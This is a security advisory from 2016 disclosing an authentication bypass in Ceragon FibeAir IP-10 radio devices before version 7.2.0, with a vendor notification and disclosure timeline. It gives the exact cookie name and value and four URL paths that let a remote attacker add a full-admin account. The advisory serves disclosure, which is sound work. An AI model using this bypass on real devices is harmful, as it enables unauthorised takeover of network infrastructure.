FibeAir IP-10 Authentication Bypass

`[+] Credits: Ian Ling  
[+] Website: iancaling.com  
  
Vendor:  
=================  
www.ceragon.com  
  
Product:  
======================  
-FibeAir IP-10  
  
Vulnerability Type:  
===================  
Default Root Account  
  
CVE Reference:  
==============  
N/A  
  
Vulnerability Details:  
=====================  
Ceragon FibeAir IP-10 devices do not properly ensure that a user has authenticated before granting them access to the web interface of the device. The attacker simply needs to add a cookie to their session named "ALBATROSS" with the value "0-4-11". They can then browse to one of the following URL's (varies by model number and software version) to add their own user account with full admin privileges:  
  
/responder.fcgi1?winid=106&winname=Users%20%26%20Groups&slot=1&mainslot=1  
/responder.fcgi1?winid=109&winname=Users%20%26%20Groups&slot=1&mainslot=1  
/responder.fcgi1?winid=103&winname=Users%20%26%20Groups&slot=1&mainslot=1  
/responder.fcgi0?winid=89&winname=Users%20%26%20Groups&slot=0  
  
After adding their own user account, they can clear their cookies and log in with the new credentials they created.  
  
Affected versions:  
All versions below 7.2.0  
  
Impact:  
The remote attacker has full control over the device's web interface.  
  
  
Disclosure Timeline:  
===================================  
Vendor Notification: May 5, 2016  
Public Disclosure: June 15, 2016  
  
Exploitation Technique:  
=======================  
Remote  
  
Severity Level:  
================  
Critical  
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